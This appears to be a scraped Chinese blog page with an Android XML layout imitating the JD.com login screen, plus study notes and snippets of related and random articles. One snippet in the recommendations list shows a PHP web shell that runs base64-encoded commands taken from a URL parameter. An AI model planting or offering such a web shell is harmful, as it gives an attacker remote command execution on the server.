Android：布局实例之模仿京东登录界面

预览图及布局结构参考:

布局：

 <?xml version="1.0" encoding="utf-8"?>

 <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"

     android:layout_width="match_parent"

     android:layout_height="match_parent"

     android:background="#ffF6F2ED" >

     <LinearLayout

         android:id="@+id/title"

         android:layout_width="match_parent"

         android:layout_height="45dp"

         android:layout_alignParentTop="true"

         android:background="@drawable/android_title_bg"

         android:gravity="center_vertical"

         android:orientation="horizontal" >

         <TextView

             android:layout_width="wrap_content"

             android:layout_height="wrap_content"

             android:paddingLeft="10dp"

             android:singleLine="true"

             android:text="@string/login"

             android:textColor="@android:color/white"

             android:textSize="15sp" />

     </LinearLayout>

     <ScrollView

         android:id="@+id/login_scroller"

         android:layout_width="match_parent"

         android:layout_height="wrap_content"

         android:layout_below="@+id/title" >

         <RelativeLayout

             android:layout_width="match_parent"

             android:layout_height="wrap_content" >

             <ImageView

                 android:id="@+id/joy"

                 android:layout_width="wrap_content"

                 android:layout_height="wrap_content"

                 android:layout_alignParentTop="true"

                 android:layout_centerHorizontal="true"

                 android:layout_marginTop="10dp"

                 android:minHeight="75dp"

                 android:minWidth="75dp"

                 android:padding="3dp"

                 android:src="@drawable/login_dog" />

             <LinearLayout

                 android:id="@+id/login_edit_layout"

                 android:layout_width="match_parent"

                 android:layout_height="wrap_content"

                 android:layout_below="@+id/joy"

                 android:layout_marginLeft="13dp"

                 android:layout_marginRight="13dp"

                 android:background="@drawable/login_layout_editor_bg"

                 android:orientation="vertical" >

                 <LinearLayout

                     android:layout_width="match_parent"

                     android:layout_height="47dp"

                     android:focusable="true"

                     android:focusableInTouchMode="true"

                     android:gravity="center_vertical"

                     android:orientation="horizontal" >

                     <TextView

                         android:layout_width="wrap_content"

                         android:layout_height="wrap_content"

                         android:layout_marginLeft="10dp"

                         android:text="@string/user_name"

                         android:textColor="@android:color/black"

                         android:textSize="17sp" />

                     <EditText

                         android:id="@+id/login_input_name"

                         android:layout_width="match_parent"

                         android:layout_height="wrap_content"

                         android:layout_marginRight="5dp"

                         android:background="#fffbfbfb"

                         android:singleLine="true" />

                 </LinearLayout>

                 <View

                     android:layout_width="match_parent"

                     android:layout_height="1dp"

                     android:background="#ffc8c8c8" />

                 <LinearLayout

                     android:layout_width="match_parent"

                     android:layout_height="47dp"

                     android:gravity="center_vertical"

                     android:orientation="horizontal" >

                     <TextView

                         android:layout_width="wrap_content"

                         android:layout_height="wrap_content"

                         android:layout_marginLeft="10dp"

                         android:text="@string/user_password"

                         android:textColor="@android:color/black"

                         android:textSize="17sp" />

                     <EditText

                         android:id="@+id/login_input_password"

                         android:layout_width="0dp"

                         android:layout_height="wrap_content"

                         android:layout_weight="1"

                         android:background="#fffbfbfb"

                         android:inputType="textPassword"

                         android:singleLine="true" />

                     <CheckBox

                         android:id="@+id/login_switchBtn"

                         android:layout_width="55dp"

                         android:layout_height="wrap_content"

                         android:layout_marginRight="5dp"

                         android:button="@drawable/login_hide_password_selector"

                         android:clickable="true" />

                 </LinearLayout>

             </LinearLayout>

             <Button

                 android:id="@+id/login_btn"

                 android:layout_width="match_parent"

                 android:layout_height="42dp"

                 android:layout_below="@+id/login_edit_layout"

                 android:layout_marginLeft="13dp"

                 android:layout_marginRight="13dp"

                 android:layout_marginTop="13dp"

                 android:background="@drawable/login_layout_btn_bg"

                 android:text="@string/login"

                 android:textColor="@android:color/white"

                 android:textSize="15sp" />

             <RelativeLayout

                 android:id="@+id/login_passfind_and_phonelogin"

                 android:layout_width="match_parent"

                 android:layout_height="20dp"

                 android:layout_below="@+id/login_btn"

                 android:layout_marginLeft="20dp"

                 android:layout_marginRight="20dp"

                 android:layout_marginTop="13dp"

                 android:gravity="center_vertical" >

                 <TextView

                     android:layout_width="wrap_content"

                     android:layout_height="wrap_content"

                     android:layout_alignParentLeft="true"

                     android:text="@string/find_password"

                     android:textColor="#ff288dfe"

                     android:textSize="15sp" />

                 <TextView

                     android:layout_width="wrap_content"

                     android:layout_height="wrap_content"

                     android:layout_alignParentRight="true"

                     android:text="@string/phone_register"

                     android:textColor="#ff288dfe"

                     android:textSize="15sp" />

             </RelativeLayout>

             <RelativeLayout

                 android:layout_width="match_parent"

                 android:layout_height="wrap_content"

                 android:layout_below="@+id/login_passfind_and_phonelogin"

                 android:layout_marginLeft="20dp"

                 android:layout_marginRight="20dp"

                 android:layout_marginTop="13dp"

                 android:gravity="center_vertical" >

                 <TextView

                     android:layout_width="wrap_content"

                     android:layout_height="wrap_content"

                     android:layout_alignParentLeft="true"

                     android:drawableLeft="@drawable/login_icon_wx"

                     android:drawablePadding="5dp"

                     android:drawableRight="@drawable/index_icon1"

                     android:gravity="center_vertical"

                     android:text="@string/weixin_login"

                     android:textColor="#ff787878"

                     android:textSize="15sp" />

                 <TextView

                     android:layout_width="wrap_content"

                     android:layout_height="wrap_content"

                     android:layout_alignParentRight="true"

                     android:drawableLeft="@drawable/login_icon_other"

                     android:drawablePadding="5dp"

                     android:drawableRight="@drawable/index_icon1"

                     android:gravity="center_vertical"

                     android:text="@string/other_login"

                     android:textColor="#ff787878"

                     android:textSize="15sp" />

             </RelativeLayout>

         </RelativeLayout>

     </ScrollView>

 </RelativeLayout>

实例下载>>>>>>>>>>>>>>>

在上面基础上添加验证实例下载>>>>>>

这次学习到的

文本框添加背景色可以取消掉默认背景

EditText父级加入以下属性，可以取消默认聚焦

android:gravity="center_vertical"

android:orientation="horizontal"

让文本单行显示的属性：

android:singleLine="true"

TextView添加图标可以用

android:drawableLeft="@drawable/login_icon_wx"

Android：布局实例之模仿QQ登录界面

Android：布局实例之模仿京东登录界面的更多相关文章

[转]Android：布局实例之模仿QQ登录界面
Android:布局实例之模仿QQ登录界面预览图: 准备: 1.找到模仿对象 QQ登陆界面UI下载>>>>> 2.导入工程 3.查看布局结构和使用控件其对应效果图分布 ...
Android：布局实例之模仿QQ登录界面
预览图: 准备: 1.找到模仿对象 QQ登陆界面UI下载>>>>> 2.导入工程 3.查看布局结构和使用控件其对应效果图分布为 4.分析样式选择器下拉箭头2种样式:点 ...
java代码完全手写模仿qq登录界面
这是我模仿QQ2015版界面,实现的基本功能有登陆验证,重置等,当然直接复制代码运行是不一样的,还要注意自己插入自己的图片. 结果截图如下所示: import java.awt.BorderLayou ...
Android：布局实例之模仿微信Tab
微信Tab预览效果: 思路: 1.用TabHost+RadioGroup搭建基本布局,以RadioGroup代替TabWidget 2.设置按钮和文字的的样式和selector 3.创建相应的Acti ...
Android：布局实例之常见用户设置界面
实现效果: 整理思路: 1.控件:文字TextView 和右箭头ImageView 2.因为考虑到点击效果,设计为:最外层为全圆角,内层有四种情况,分别为上圆角.无圆角.下圆角和全圆角. 3.内层样 ...
微信小程序相关一、模仿京东静态登录页面
一.培训的第一天,基本上没有什么最新的东西,但是看到老师的代码收获的确实是不少. 1.1.首页代码很简洁,将共有的样式都提取的很好. 1.2.其次是每一个小块写样式的时候用到了好多子代选择器和后代选择 ...
Android开发实例之miniTwitter登录界面的实现
原文: http://www.jizhuomi.com/android/example/134.html 本文要演示的Android开发实例是如何完成一个Android中的miniTwitter登录界 ...
Android基础总结（3）——UI界面布局
Android的UI设计有好几种界面程序编写方式.大体上可分为两大类:一类是利用可视化工具来进行,允许你进行拖拽控件来进行布局:还有一类是编写xml文档来进行布局.这两种方法可以相互转换. 1.常见的 ...
android内部培训视频_第五节(1)_OA实战之登录界面
第五节(1):OA实战之登录界面一.登录界面布局 1.背景图片 2.文本框 3.checkbox 4.按钮暂未实现点击切换图片效果 <RelativeLayout xmlns:androi ...

随机推荐

php中的base64写shell
<?php system(base64_decode($_GET['info'])); #http://localhost/1.php?info=d2hvYW1p #这只是一个例子 ?>
分布式队列Celery
Celery是什么? Celery 是一个由 Python 编写的简单.灵活.可靠的用来处理大量信息的分布式系统,它同时提供操作和维护分布式系统所需的工具. Celery 专注于实时任务处理,支持任务 ...
JAVA 线程状态及转化
线程状态图说明:线程共包括以下5种状态.1. 新建状态(New) : 线程对象被创建后,就进入了新建状态.例如,Thread thread = new Thread().2. 就绪状 ...
canvas制作柱形图/折线图/饼状图，Konva写动态饼状图
制作饼状图 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF ...
阿里CDN核心技术解密
1. 阿里CDN组件分层其中应用层主要用到的技术有负载均衡和缓存, 负载均衡包括全局负载均衡和本地负载均衡; 缓存通过HTTP缓存服务器Swift做HTTP缓存. 全局负载均衡以DNS服务器Phar ...
DOM编程艺术读书笔记（须熟读）
http://www.qdfuns.com/notes/39151/00d8bc6322359f00450f492ae56bf69e.html
linux命令（44）：date命令
1．命令格式: date [参数]... [+格式] 2．命令功能: date 可以用来显示或设定系统的日期与时间. 3．命令参数: 必要参数: %H 小时(以00-23来表示). %I 小时(以01 ...
Disruptor Ringbuffer
系列译文: http://ifeve.com/disruptor/ 当有多个消费者时,(按Disruptor的设计)每个消费者各自控制自己的指针,依次读取每个Slot(也就是每个消费者都会读取到所有的 ...
Django视图之ORM连表操作一
1 项目路径结构树 2 models创建类 from django.db import models class UserType(models.Model): ''' 用户类型 ''' title ...
微信小程序实战篇-图片的预览、二维码的识别
开篇今天,做的小程序项目要求,个人中心的客服图片在用户长按时可以识别其二维码,各种翻阅查找,采坑很多,浪费了很多时间,在这里记录下需要注意的点,以及对小程序官方提供的API做一个正确和清晰的认知,希 ...

Android：布局实例之模仿京东登录界面

Android：布局实例之模仿京东登录界面的更多相关文章

随机推荐

热门专题